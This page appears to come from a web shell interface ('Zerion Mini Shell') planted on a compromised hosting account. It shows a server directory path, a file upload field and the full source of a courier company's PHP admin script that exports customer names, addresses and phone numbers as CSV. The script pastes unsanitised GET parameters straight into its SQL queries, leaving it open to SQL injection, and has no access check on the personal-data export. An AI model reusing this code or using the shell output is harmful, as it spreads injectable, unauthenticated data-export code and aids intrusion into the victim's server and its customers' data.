ok

Mini Shell

Direktori : /home2/selectio/www/lilyexpresslive/software/admin/data-tables/
Upload File :
Current File : /home2/selectio/www/lilyexpresslive/software/admin/data-tables/excel-total-report.php

<?php
include("../inc/config.php");

 $from = $_GET['from'];
    $to = $_GET['to'];
    $status = $_GET['status'];
    $role = $_GET['client_type'];
    $client_id = $_GET['client_id'];

 if($role=="Admin") 
    {
        if($status=='all' && $client_id=='all')
        {
           $condition='';  
        } 
        elseif($status!='all' && $client_id=='all')
        {
           $condition='WHERE pickup_entry.status="'.$status.'"';
        }
        elseif($status=='all' && $client_id!='all')
        {
           $condition='WHERE pickup_entry.client_id='.$client_id;
        }
        else
        {
            $condition='WHERE pickup_entry.status="'.$status.'" AND pickup_entry.client_id='.$client_id;
        }
        
        
        $statement = $pdo->prepare("SELECT pickup_entry.*,tbl_user.full_name as client_name,pickup_entry.created_at as added,tbl_customer.cust_code as cust_code,material_desc.full_desc as content,tbl_customer.cust_name as cust_name FROM pickup_entry INNER JOIN tbl_user INNER JOIN tbl_customer INNER JOIN material_desc on pickup_entry.client_id=tbl_user.id AND pickup_entry.content_desc=material_desc.id AND pickup_entry.customer_id=tbl_customer.cust_id $condition order by pickup_entry.id ASC");   
     }
    else
    {
        
        if($status=='all')
        {
         $statement = $pdo->prepare("SELECT pickup_entry.*,tbl_user.full_name as client_name,pickup_entry.created_at as added,tbl_customer.cust_code as cust_code,material_desc.full_desc as content,tbl_customer.cust_name as cust_name FROM pickup_entry INNER JOIN tbl_user INNER JOIN tbl_customer INNER JOIN material_desc on pickup_entry.client_id=tbl_user.id AND pickup_entry.content_desc=material_desc.id AND pickup_entry.customer_id=tbl_customer.cust_id where pickup_entry.client_id=$client_id order by pickup_entry.id ASC");   
        }
        else{
        
          $statement = $pdo->prepare("SELECT pickup_entry.*,tbl_user.full_name as client_name,pickup_entry.created_at as added,tbl_customer.cust_code as cust_code,material_desc.full_desc as content,tbl_customer.cust_name as cust_name FROM pickup_entry INNER JOIN tbl_user INNER JOIN tbl_customer INNER JOIN material_desc on pickup_entry.client_id=tbl_user.id AND pickup_entry.content_desc=material_desc.id AND pickup_entry.customer_id=tbl_customer.cust_id where pickup_entry.status='$status' AND pickup_entry.client_id=$client_id order by pickup_entry.id ASC");   
        }
    }	
            	$statement->execute();
            	$result = $statement->fetchAll(PDO::FETCH_ASSOC);	

	$now = gmdate("YmdHis");
		header('Content-Type: text/csv; charset=utf-8');  
		header('Content-Disposition: attachment; filename=Pickup_list_'.$now.'.csv');  
		$output = fopen("php://output", "w");  
		   fputcsv($output, array('SL', 'AWB Number', 'Ref Number', 'Company Name', 'Customer Name', 'Address', 'Pincode', 'Mobile', 'Actual Weight', 'Charged Weight', 'No.Of Pics', 'Status', 'Delivery Date'));  
        $i=1;
		foreach ($result as $row) {
		    
		    if($row['gst_rate']=='gr_igst'){ $gst ="IGST";}elseif($row['gst_rate']=='gr_cgst'){ $gst ="CGST";} 
		    $date=date_create($row['created_at']);
			 $day=date_format($date,'d-m-Y');
			  
			   $created=date_create($row['created_at']);
                     $da=date_format($created,'Y-m-d');
                     
                       if($from!='' && $to!=''){
                     if ($from <= $da && $to >= $da)
                    {
                    
		   fputcsv($output, array($i,$row['ref_no'],$row['cust_code'],$row['client_name'],$row['cust_name'],$row['address'],$row['pincode'],$row['phone'],$row['a_weight'],$row['c_weight'],$row['pics'],$row['status'],$day));
		   $i++;
                    }
                       }
                       else
                       {
        	fputcsv($output, array($i,$row['ref_no'],$row['cust_code'],$row['client_name'],$row['cust_name'],$row['address'],$row['pincode'],$row['phone'],$row['a_weight'],$row['c_weight'],$row['pics'],$row['status'],$day));
        		    $i++;
                       }
		} 
		fclose($output);




?>

Zerion Mini Shell 1.0